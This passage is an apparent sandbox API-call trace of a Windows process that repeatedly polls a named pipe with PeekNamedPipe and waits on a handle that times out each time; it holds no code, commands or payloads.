lpBytesLeftThisMessage=0x0) returned 1 [0103.546] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.577] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.577] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.608] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.608] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.639] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.639] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.671] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.671] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.701] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.701] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.733] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.733] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.764] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.764] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.795] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.795] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.826] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.826] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.857] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.858] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.889] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.889] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.920] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.920] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.951] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.951] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.982] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.982] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.015] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.015] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.045] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.045] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.076] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.076] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.107] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.107] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.139] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.139] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.169] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.170] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.201] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.201] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.232] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.232] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.263] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.263] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.294] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.294] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.325] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.325] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.357] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.357] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.388] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.388] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.419] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.419] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.450] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.450] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.494] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.494] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.526] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.527] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.544] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.544] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.575] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.575] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.618] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.618] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.637] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.638] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.669] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.669] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.700] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.700] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.732] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.732] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.762] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.762] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.795] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.795] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.825] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.825] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.871] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.872] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.903] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.903] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.936] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.936] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.977] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.977] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.142] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.142] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.168] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.168] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.199] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.199] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.318] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.318] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0106.660] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.660] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0106.715] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.715] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0106.743] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.743] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0106.778] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.778] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0107.179] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0107.179] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0107.858] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0107.858] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0107.952] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0107.957] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0107.982] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.376] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0108.398] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.399] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0108.989] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.989] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0109.339] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.339] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0109.481] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.482] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0109.732] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.732] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0109.754] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.754] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0109.785] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.786] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0109.817] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.817] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0109.859] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.859] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0109.879] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.879] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0109.910] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.910] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0109.941] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: 